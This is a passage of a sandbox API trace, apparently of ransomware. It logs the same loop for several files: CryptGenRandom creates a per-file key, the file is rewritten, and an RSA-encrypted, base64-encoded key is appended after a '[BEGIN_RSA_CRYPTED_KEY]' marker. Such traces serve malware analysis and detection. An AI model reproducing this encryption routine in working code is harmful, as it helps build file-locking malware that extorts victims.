lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.416] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.416] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.417] CloseHandle (hObject=0x1830) returned 1 [0211.420] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.420] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\c44b8be1-f5e2-464b-8d6f-c439051f7821.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.421] ReadFile (in: hFile=0x1830, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.421] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.421] WriteFile (in: hFile=0x1830, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.421] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.421] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.421] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.422] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.422] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.422] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.422] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d340, pcchString=0x2e3f9a8 | out: pszString="0U7dF6+v/N06e7hhdKa9KJXXOQ0HPVnNUbG0TDWON0WuTuwcQ4O7y34uhJSIpDQ1\n75Fxe0fHRg4/ZIZeIfTzDyTznViMF4Nv6M5GjklWcVDH03pUAgPTncFngPh6Yy4O\ndxt7Xj2MyKKHGcL3a7n+FCsV8/vZI3voh5b+KV5Julmcgo0YBpeOXOUKjRGX35a7\nt1PW90EaXIOPDPcOieiWiLY93JEPvq4vkykRJTK5F7POzieO9i/KisSBhtt5lY0M\npGRzhPB2kYsuoxM6RETJCgke+auvUEeLHO/cJiZAav4A2VXUbi+B5scLW3X0IgZj\nfUKiJDcPtvb3hKrUYZ8deQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.422] WriteFile (in: hFile=0x1830, lpBuffer=0x66d340*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.423] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.423] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.423] CloseHandle (hObject=0x1830) returned 1 [0211.424] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.424] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b8697f91-5a83-4103-a22f-2f22aa918aeb.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.425] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.425] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.425] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.425] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.425] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.425] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.426] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.426] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.426] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.426] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d340, pcchString=0x2e3f9a8 | out: pszString="AA12wX407bWOVY5FbQvdfk8gCcT0mq5VtAF7zwujgf3V6GBygFRsLiStONqNcFA4\nnBYfHHFeiUUmnHvRojoqielhWfkja5twvW5HFG7s/5YBsFDDK44TCkRTWB/0J0No\na+I46jJEDKx5g+PfcRjaBT3zpjRlWnP+nWIw9leiNBrNyz+9jqKO8y1s/6ndNy7a\nr8B8d6Qgime7dB4fmN8GC7ZUozF6dBBfemzWSOEyntvbpd/Q+Lj6taWe796cNVx4\nd5TS2rKfzu+X+ttiGhLHI285t7FPK1l8KU5tguthWsa3kEf4EsY2zfmaZ5jV2zq/\nijwPGp7MtIDk4jtBA2NcaA==\n", pcchString=0x2e3f9a8) returned 1 [0211.426] WriteFile (in: hFile=0x1830, lpBuffer=0x66d340*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.427] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.427] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.427] CloseHandle (hObject=0x1830) returned 1 [0211.428] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.428] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b8697f91-5a83-4103-a22f-2f22aa918aeb.up_meta", dwFileAttributes=0x80) returned 1 [0211.428] ReadFile (in: hFile=0x1830, lpBuffer=0x5815d0, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5815d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0211.429] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.429] WriteFile (in: hFile=0x1830, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0211.430] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112 [0211.430] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.430] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.430] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.430] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d340, pcchString=0x2e3f9a8 | out: pszString="fTTti5196vf/00EQq3XA5rLkV4i1N5ZFaKyCJPTpFMuIId88vhrylTxMnYbRDa7L\nAU3shJX7LDv2HNWHBy/x7PONDRUV12jJM/kcnaOPmlPUd9Nhhe6eMcLF3EfS0QWo\nWHCIpLJp/dVxRzqDr0Qr8C4c8oUaA84hGEeacAdZWwDfsRXv6XihAkQX5Tfr2Ti2\nfF5u8qtdGYKjezl5dDWXjF+aHJ6gW0Gvsabewv+kTn52vsV+PduQmh/8iw2ckYm/\nvNyKeKkSGdXHD5CZhHrlNSZ0jRfkovuUat+Qk51eX8rM4Hu+1EQPyvymDa/jx3M3\nap9F0snarsfbeFx3jnSWFA==\n", pcchString=0x2e3f9a8) returned 1 [0211.430] WriteFile (in: hFile=0x1830, lpBuffer=0x66d340*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.431] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.431] CloseHandle (hObject=0x1830) returned 1 [0211.433] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.433] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b8697f91-5a83-4103-a22f-2f22aa918aeb.1ff197c8-5f5d-457a-9784-891d77fb2c85.down_meta", dwFileAttributes=0x80) returned 1 [0211.433] ReadFile (in: hFile=0x1830, lpBuffer=0x66d3b8, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d3b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c4, lpOverlapped=0x0) returned 1 [0211.451] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.451] WriteFile (in: hFile=0x1830, lpBuffer=0x66d988*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d988*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c4, lpOverlapped=0x0) returned 1 [0211.451] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c4 [0211.451] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.451] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.452] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.452] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.452] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.452] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d3b8, pcchString=0x2e3f9a8 | out: pszString="Mq6y4LixRtE4l5BE89AXF+0zp1EP6sn6HRCyN5xuKPGiVeOS26v+Jas5tn+6U6ww\nw3XHk2QZ5wVMCoitO1f1RlrqB+ZVvc1o6IPMLUo1lqwkoGdvhGihs15yI/TNWEFp\nQa0xKI+/ewWIZgF+Aqf9DUq2y+3G1IVY+EQ0A2xcD9q1lT8hfFrr8VcPgE12X4R1\nbD78kckySacxG8BnbRtcPp6Bt9J0bsBYMXe8wOiJvXPoe6Zf7i6QhSvxAGqVvEQF\nV3boDRn6C4QSx5j75J4JJcBbsRSW3wxAyjdbTxn78ftlGEzwnTBQKqPb70vutEgF\nhCvV3LIehpt7Sg+yuVZsAw==\n", pcchString=0x2e3f9a8) returned 1 [0211.452] WriteFile (in: hFile=0x1830, lpBuffer=0x66d3b8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.453] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.453] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.453] CloseHandle (hObject=0x1830) returned 1 [0211.454] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b6b79e6f-5119-441e-8829-ee81a3be6046.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.455] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.455] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.455] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.455] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.455] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.455] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.456] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.456] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.457] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.457] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: pszString="5nXqib+pxz9oKvIsK71+YLV0lO6F+12vjebjTedU1DctNLjZSP5b5znl1O+ZQOUm\ntdbGeJIq2Hg9ihsUYLGUgyB5vcyKnt+nCwtuLwvMs6weNAhYZjtqyZ6EkUoCGpXZ\nYV1tzc2RaZuqE398/QEPLRQmzj3zD5imrOL4Eymbc/jopGqFW5vsFt9PecEf7Zip\n1mobXBQBJycRsTV7XHT//IkNi44u/d+I2eBDUJa6iGxlXjYlejqWx3jRD8S/xy91\nZ/toQoZ/SxYjILThLUV0APwWi73mzemdO1nbOLHVg05tGKb6PqkQ6UL2UFZdQ8TN\nRD3+H5qSomL0DWxNaBVYlg==\n", pcchString=0x2e3f9a8) returned 1 [0211.457] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.457] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.457] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.457] CloseHandle (hObject=0x1830) returned 1 [0211.458] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.458] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b514de22-1472-4135-a516-53e87ede0d92.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.459] ReadFile (in: hFile=0x1830, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.459] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.459] WriteFile (in: hFile=0x1830, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.459] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.459] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.459] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.460] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.460] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.460] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.460] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: pszString="Ycnh1n1IMttUi7B0a5cIiHvCbtdgaWBxZZ6wzuJD2OOr2DpzQGwrOW3YBsLFyF99\npy3utE14XQEq2RcqYQ08dPQNE0rbfhZ4NqpX0AOrYZsoLJXnbYjKZsS2Vr5GhejN\nNo5uAHanKQqzYqbmRKAsGPeuc+fGZR4f1A6E66x8IwYBA+NTBfH27p4iBZca1mt8\nY0cxlCGqXO7vI+Ou9KPJMgVkxtV62Ha0ULrJRBcmFPHJcuGamgLb94FXp3BJ4b41\nGClzJn4G22eWfZRH+p4QRSUdsIBUuo1uemBzKvXDWB4WGlJRTFxRJPc2oT3vI/aU\nY0ReckXAAUXutEG64/7KUA==\n", pcchString=0x2e3f9a8) returned 1 [0211.460] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.460] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.461] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.461] CloseHandle (hObject=0x1830) returned 1 [0211.463] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.463] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\b0d46b1c-4459-418c-af9b-0fe46893b1fd.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.463] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.463] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.463] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.464] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.464] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.464] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.465] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.465] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.465] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.465] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: pszString="YSfeS6jmb7qZE6Dnr81+vKYs81h/NV5G05HEqE1AfC03/hsQjKw/sG6h0cfCArei\nb9+A5CY148tDO6gR3pTPGkAfskFzRJzNgVQ3u//o9Fd8tHPfn46iHZCJyG0NEvGt\nHbg38z9NZkfGcaqZkyPh2RTaQIS6u4no1uoi+U1ewfYyy9puwOWJ7KNLO2aimRcb\nld5HyTGyUGp4oef+4KCwQc9eNouQGJsxam6y3zCwm5nf/NeVFhH6mx1mDhnDnOe1\nxy+oi56mpSBoVyAAB3lvXmw2aRDgX8ImNCfkXn+pyw/eoX0iIOUf+sum7Uz5omRv\nYMHILP7rLB5KlioxcKs2Rg==\n", pcchString=0x2e3f9a8) returned 1 [0211.465] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, 